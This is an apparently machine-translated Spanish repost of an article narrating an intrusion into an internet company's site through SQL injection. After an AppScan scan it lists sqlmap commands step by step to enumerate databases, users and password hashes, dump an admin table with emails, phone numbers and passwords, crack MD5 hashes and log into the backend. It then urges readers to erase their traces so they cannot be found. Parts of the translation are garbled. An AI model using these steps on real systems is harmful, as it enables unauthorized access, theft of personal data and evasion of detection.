Red de conocimiento informático - Problemas con los teléfonos móviles - Inyección SQL: cómo irrumpí en una empresa de Internet paso a paso

Inyección SQL: cómo irrumpí en una empresa de Internet paso a paso

Introducción a las herramientas de la industria

(1) Herramienta de escaneo de penetración AppScan

Appscan es una de las herramientas más utilizadas en el campo de las pruebas de penetración de aplicaciones web. Es una aplicación de escritorio que ayuda a los profesionales de la seguridad a realizar evaluaciones automatizadas de vulnerabilidad de aplicaciones web.

(2) Herramienta de prueba de penetración Sqlmap

Sqlmap es una herramienta de inyección SQL automatizada cuya función principal es escanear, descubrir y explotar vulnerabilidades de inyección SQL en una URL determinada.

Los detalles del delito son los siguientes

Primero, utilice la herramienta Appscan para escanear el sitio web oficial de la empresa de Internet www.xxx.com. Los resultados son los siguientes:

En estas 56 Encuentra el enlace que te interesa entre las preguntas de seguridad, como por ejemplo el siguiente enlace:

/system/cms/show?id=1

¿Por qué destacar este? Debido a que es una inyección SQL relativamente típica, popularicemos las prácticas comunes de inyección SQL. Primero, utilice la siguiente declaración para determinar si el sitio web tiene un punto de inyección:

/system/cms/show?id=1 Después de que el enlace tenga un punto de inyección, el siguiente paso es comenzar nuestra prueba de penetración. herramienta Sqlmap y realizar el siguiente trabajo de inyección, el proceso específico es el siguiente:

1) Confirme nuevamente si el punto de inyección de destino está disponible:

python sqlmap.py -u/system /cms/show?id=1

Parámetros:

-u: Especifica la URL del punto de inyección

Resultado:

Resultado de la inyección mostrar:

a. El parámetro id tiene una inyección ciega basada en booleano, es decir, las condiciones se pueden juzgar en función de la página de retorno de la inyección verdadera o falsa.

b. Hay una inyección ciega basada en el tiempo en el parámetro id, es decir, no se puede juzgar ninguna información en función del contenido de la página devuelta, sino que se utilizan declaraciones condicionales para ver si se retrasa la declaración. se ha ejecutado (es decir, si se ha aumentado el tiempo de retorno de la página) para juzgar.

c. Tipo de base de datos: MySql 5.0.12

2) base de datos Storm todas las bases de datos:

Un comando puede exponer todas las bases de datos en el nombre del servidor SQL, el comando De la siguiente manera:

python sqlmap.py -u /system/cms/show?id=1 -- dbs

Parámetros:

--dbs: dbs anterior Hay dos barras que enumeran todas las bases de datos.

Resultados:

Los resultados muestran que este sqlserver *** contiene 3 bases de datos disponibles.

3) Obtener la base de datos utilizada actualmente

python sqlmap.py -u /system/cms/show?id=1 --current-db

Parámetros :

--current-db: la base de datos utilizada actualmente.

Resultado:

4) Usar cuenta para obtener la base de datos actual

python sqlmap.py -u /system/cms/show?id=1 -- usuario actual

5) Listar todos los usuarios de sqlserver

python sqlmap.py -u /system/cms/show?id=1 --users

6) Obtenga la cuenta de base de datos y la contraseña del usuario actual

python sqlmap.py -u /system/cms/show?id=1 --passwords

El resultado muestra que Es posible que el usuario no haya leído Acerca de los permisos del sistema.

7) Listar las tablas de la base de datos

python sqlmap.py -u /system/cms/show?id=1 -D xxx_store --tables

Parámetros:

-D: Especificar el nombre de la base de datos

--tables: Listar tablas

Resultados:

Visualización de resultados** * 69 tablas enumeradas.

8) Listar los campos de la tabla

python sqlmap.py -u /system/cms/show?id=1 -D xxx_store -T mall_admin --columns

Parámetros:

-D: Especifica el nombre de la base de datos

-T: Especifica la tabla en la que se enumerarán los campos

-- columnas: especifique las columnas que se enumerarán Campos de salida

Resultado:

9) Tormenta de contenido de campo

python sqlmap.py -u /system/cms/show ?id=1 -D xxx_store -T mall_admin -C "ag_ id,correo electrónico,id,móvil,nombre,contraseña,estado" --dump

Parámetros:

-C: Especifique los campos que se van a asaltar

p>

--dump: exportar resultados

Si hay demasiados campos, llevará mucho tiempo. Puede utilizar el siguiente comando para especificar la exportación de un rango específico de contenido de campo:

python sqlmap.py -u /system/cms/show?id=1 -D xxx_store -T mall_admin -C "ag_id ,correo electrónico,id,móvil,nombre,contraseña, estado" --start 1 --stop 10 --dump

Parámetros:

--start: Especifica la línea de inicio

--stop: Especifica la línea de terminación

Este comando significa exportar la información del campo (ag_id, correo electrónico, id, móvil, nombre, contraseña, estado) de la tabla mall_admin en la base de datos. tienda_xxx.

Los resultados son los siguientes:

A través de la figura anterior, podemos ver la información del usuario en la tabla de administración. Desciframos el campo de contraseña a través de md5 para obtener la contraseña original del valor hash. A través del nombre de usuario y la contraseña, podemos iniciar sesión en el sitio web.

En este punto, hemos invadido con éxito el backend de una empresa y obtenido datos relevantes. Pero me gustaría recordarles a todos: una invasión exitosa es solo la mitad del éxito. ¡La parte más importante de la otra mitad es limpiarte el trasero para que otros no puedan encontrarte!

Este artículo fue proporcionado por el equipo de Tencent WeTest. Para obtener más información, puede hacer clic directamente en el enlace para verlo: /lab/ Indique al reimprimir: Xiongge Club.

Inyección SQL: cómo irrumpí en la empresa de Internet paso a paso

Etiquetas: